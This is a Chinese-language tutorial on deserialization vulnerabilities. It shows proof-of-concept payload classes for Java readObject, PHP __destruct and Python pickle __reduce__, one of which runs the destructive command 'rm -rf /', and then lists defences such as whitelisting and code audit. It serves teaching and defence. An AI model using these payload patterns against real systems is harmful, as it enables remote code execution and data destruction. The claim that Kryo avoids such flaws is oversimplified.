反序列化漏洞

反序列化漏洞原理

反序列化漏洞(Deserialization Vulnerability)是一类与对象序列化和反序列化过程相关的安全漏洞,通常发生在应用程序在未验证或不受信任的输入上执行反序列化操作时。该漏洞可导致远程代码执行(RCE)、权限提升、拒绝服务(DoS)等安全问题。

1. 序列化与反序列化概念

1.1 什么是序列化(Serialization)?

序列化是指将对象转换为字节流,以便存储或传输。例如,在 Java、Python、PHP 等编程语言中,序列化用于:
在分布式环境中传输对象(如 RPC 调用)
存储对象数据(如缓存、Session)
远程通信(如 WebSocket、REST API)
示例(Java 序列化):
java
import java.io.*; class User implements Serializable { private static final long serialVersionUID = 1L; String name; User(String name) { this.name = name; } } public class SerializeExample { public static void main(String[] args) throws IOException { User user = new User("Alice"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("user.ser")); out.writeObject(user); out.close(); } }
上述代码将 User​ 对象序列化并写入 user.ser​ 文件。

1.2 什么是反序列化(Deserialization)?

反序列化是指将字节流转换回对象的过程。例如:
java
ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.ser")); User user = (User) in.readObject(); in.close(); System.out.println(user.name);
该代码读取 user.ser​ 文件,并将其反序列化为 User​ 对象。

2. 反序列化漏洞的原理

2.1 为什么反序列化会有漏洞?

当应用程序无条件地从不受信任的来源(如用户输入、数据库、网络请求)反序列化数据时,攻击者可以构造恶意对象,触发代码执行。例如:
Java 反序列化ObjectInputStream.readObject()​ 可能会执行恶意类的 readObject()​ 方法。
PHP 反序列化unserialize()​ 可能会触发 __wakeup()​ 或 __destruct()​ 方法。
Python 反序列化pickle.loads()​ 可能会执行 __reduce__()​ 方法。

2.2 Java 反序列化漏洞

(1)Java 反序列化的危险方法

在 Java 中,ObjectInputStream.readObject()​ 可能导致反序列化漏洞:
java
ObjectInputStream in = new ObjectInputStream(socket.getInputStream()); Object obj = in.readObject(); // 如果 obj 来自攻击者,则可能导致漏洞
如果 obj​ 是攻击者精心构造的恶意对象,Java 可能会在反序列化时执行恶意代码。

(2)利用 Java 反序列化漏洞

攻击者可以构造一个恶意类,并在 readObject()​ 方法中执行命令:
java
import java.io.*; class Exploit implements Serializable { private static final long serialVersionUID = 1L; private void readObject(ObjectInputStream in) throws IOException { Runtime.getRuntime().exec("calc"); // 执行恶意代码 } }
攻击者序列化 Exploit​ 对象并发送给目标服务器:
java
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exploit.ser")); out.writeObject(new Exploit()); out.close();
如果目标服务器反序列化 exploit.ser​,将触发 readObject()​ 方法,导致远程代码执行(RCE)。

2.3 PHP 反序列化漏洞

PHP unserialize()​ 函数可能导致反序列化漏洞:
php
class Exploit { function __destruct() { system("rm -rf /"); // 恶意代码 } } $payload = serialize(new Exploit()); echo urlencode($payload);
如果服务器执行 unserialize($_GET['data'])​,攻击者可以构造恶意 data​ 参数,触发 __destruct()​ 方法,执行 rm -rf /​ 命令。

2.4 Python 反序列化漏洞

Python pickle.loads()​ 可能导致反序列化漏洞:
python
import pickle import os class Exploit: def __reduce__(self): return (os.system, ("calc",)) payload = pickle.dumps(Exploit()) print(payload)
如果服务器执行:
python
pickle.loads(payload)
将触发 os.system("calc")​,导致命令执行。

4. 反序列化漏洞的防御

4.1 禁用危险反序列化函数

Java:避免 ObjectInputStream.readObject()
PHP:避免 unserialize()
Python:避免 pickle.loads()

4.2 使用安全的序列化格式

JSON(json​)、XML(xml​)等安全格式,不执行代码。
Java:使用 Kryo​ 序列化库,避免反序列化漏洞。

4.3 反序列化白名单

限制允许反序列化的类:
java
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.safe.package.*;!*");

4.4 代码审计

查找 readObject()​、unserialize()​、pickle.loads()​ 等危险函数。
使用 SAST(静态代码分析工具)检测漏洞。